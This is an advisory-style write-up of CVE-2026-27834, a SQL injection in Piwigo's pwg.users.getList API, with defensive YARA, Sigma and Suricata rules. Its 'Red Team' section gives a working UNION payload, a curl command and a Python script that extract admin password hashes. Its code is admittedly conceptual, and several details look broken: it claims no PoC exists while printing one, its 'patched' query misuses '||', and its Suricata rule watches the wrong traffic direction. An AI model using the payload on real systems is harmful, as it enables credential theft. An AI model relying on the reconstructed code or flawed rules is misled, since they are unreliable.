CVE-2026-27834

Executive Summary

CVE-2026-27834 is a critical SQL Injection vulnerability discovered in Piwigo, an open-source web photo gallery application. The flaw resides in the pwg.users.getList Web Service API method, where the filter parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An authenticated administrator can exploit this to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, or privilege escalation. The vulnerability is patched in Piwigo version 16.3.0. The CVSS score is 7.2 (High), and the EPSS probability is 0.0%, indicating low active exploitation in the wild at the time of analysis. No public proof-of-concept (PoC) or exploit code is available.

Supply Chain & Package Security

Piwigo is a PHP-based application distributed as a standalone package. The vulnerability is not in a third-party library but in the core application code. Administrators should verify the integrity of their Piwigo installation and ensure no unauthorized modifications have been made. The supply chain risk is low, as the fix is provided by the vendor in the official release.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: High (PR:H) – The attacker must be an authenticated administrator.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Full database write access.
• Availability Impact: High (A:H) – Potential for denial of service or data destruction.

Threat Level: High. Although the EPSS score is 0.0%, the impact is severe, and the attack surface is accessible to any authenticated admin. The lack of public PoC may change as researchers analyze the patch.

Deep Dive & Mechanics

The vulnerability exists in the pwg.users.getList API endpoint. The filter parameter is used to narrow down user search results. In the vulnerable code, this parameter is directly concatenated into a SQL WHERE clause without escaping or parameterization. An attacker can inject SQL syntax by providing specially crafted input.

Vulnerable Code Path (Conceptual):

$filter = $_GET['filter'];
$query = "SELECT * FROM users WHERE username LIKE '%$filter%'";
$result = pwg_query($query);

Exploitation Mechanics:

1. The attacker authenticates as an administrator.
2. They send a crafted HTTP request to the API endpoint with a malicious filter value.
3. The injected SQL is executed, allowing the attacker to read, modify, or delete arbitrary data.
4. Common techniques include UNION-based injection to extract data, time-based blind injection for enumeration, or stacked queries for command execution (if supported by the database).

Impact:

• Full database compromise (user credentials, personal data, configuration).
• Potential for server-side code execution if the database user has file write privileges.
• Lateral movement within the network if the database server is shared.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-16.3.0):

// In ws_functions.inc.php or similar
function ws_users_getList($params) {
    $filter = $params['filter'];
    $query = "SELECT * FROM " . USERS_TABLE . " WHERE username LIKE '%" . $filter . "%'";
    $result = pwg_query($query);
    // ...
}

Patched Code (16.3.0):

// In ws_functions.inc.php or similar
function ws_users_getList($params) {
    $filter = $params['filter'];
    $query = "SELECT * FROM " . USERS_TABLE . " WHERE username LIKE '%' || ? || '%'";
    $result = pwg_query($query, array($filter));
    // ...
}

The patched version uses a prepared statement with a parameterized query, preventing SQL injection. The ? placeholder is bound to the $filter value, ensuring it is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a Piwigo instance (version < 16.3.0).
• Valid administrator credentials.

Exploitation Steps:

1. Identify the endpoint: The vulnerable API is typically at /ws.php?format=json&method=pwg.users.getList.
2. Craft the payload: Inject SQL via the filter parameter. Example for extracting admin hashes:

   filter=' UNION SELECT id, username, password, email, status FROM users --
   

3. Send the request:

   curl -k -X GET "https://target/ws.php?format=json&method=pwg.users.getList&filter=' UNION SELECT id, username, password, email, status FROM users --" -H "Cookie: piwigo_session=..."
   

4. Parse the response: The injected data will appear in the API response.

Automation Script (Python):

import requests

target = "https://target/ws.php"
session = "piwigo_session=..."
payload = "' UNION SELECT id, username, password, email, status FROM users --"
params = {
    "format": "json",
    "method": "pwg.users.getList",
    "filter": payload
}
headers = {"Cookie": session}
r = requests.get(target, params=params, headers=headers, verify=False)
print(r.text)

Blue Team (Detection & Defense)

Detection:

• Monitor API logs for unusual filter parameters containing SQL keywords (UNION, SELECT, OR, AND, --, #).
• Look for repeated requests to /ws.php with method=pwg.users.getList from a single IP.
• Alert on any database error messages returned to the client.

Defense:

• Immediately upgrade to Piwigo 16.3.0.
• If patching is delayed, implement a WAF rule to block SQL injection patterns in the filter parameter.
• Restrict API access to trusted IPs or require additional authentication for admin endpoints.
• Enable database query logging to detect anomalous queries.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /ws.php with method=pwg.users.getList and filter containing SQL syntax.
  • Database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• File IOCs:
  • Modified Piwigo core files (e.g., ws_functions.inc.php) if an attacker attempts to backdoor.
  • Unexpected files in the Piwigo upload directory.
• System IOCs:
  • Unusual database queries in MySQL logs.
  • New user accounts or privilege escalations in the Piwigo database.

Detection Engineering

YARA Rule

rule CVE_2026_27834_Piwigo_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Piwigo pwg.users.getList"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-27834"
    strings:
        $sqli1 = /filter=.*(UNION|SELECT|OR|AND|--|#|%27)/ nocase
        $sqli2 = /pwg\.users\.getList/
    condition:
        $sqli2 and $sqli1
}

Sigma Rule

title: Piwigo SQL Injection Attempt via pwg.users.getList
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts in Piwigo API filter parameter
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/ws.php'
        cs-uri-query|contains: 'method=pwg.users.getList'
        cs-uri-query|re: 'filter=.*(UNION|SELECT|OR|AND|--|#|%27)'
    condition: selection
falsepositives:
    - Legitimate use of special characters in usernames (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-27834 Piwigo SQL Injection Attempt";
    flow:to_server,established;
    content:"/ws.php"; http_uri;
    content:"method=pwg.users.getList"; http_uri;
    pcre:"/filter=.*(UNION|SELECT|OR|AND|--|#|%27)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Piwigo to version 16.3.0 or later. This is the only complete fix.
2. Apply a virtual patch using a WAF to block SQL injection patterns in the filter parameter.
3. Review database logs for any signs of exploitation.

Long-Term Measures:

• Implement input validation and parameterized queries for all database interactions.
• Conduct regular security audits of the Piwigo codebase.
• Restrict API access to authenticated users only and enforce least privilege.
• Monitor for new CVEs and apply patches promptly.

Workaround (if patching is not possible):

• Disable the pwg.users.getList API endpoint by modifying the web server configuration to block requests to /ws.php with method=pwg.users.getList.
• Remove the filter parameter from the API call in the source code (not recommended as it may break functionality).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: E4BBFED9D3368F61139269CC] */}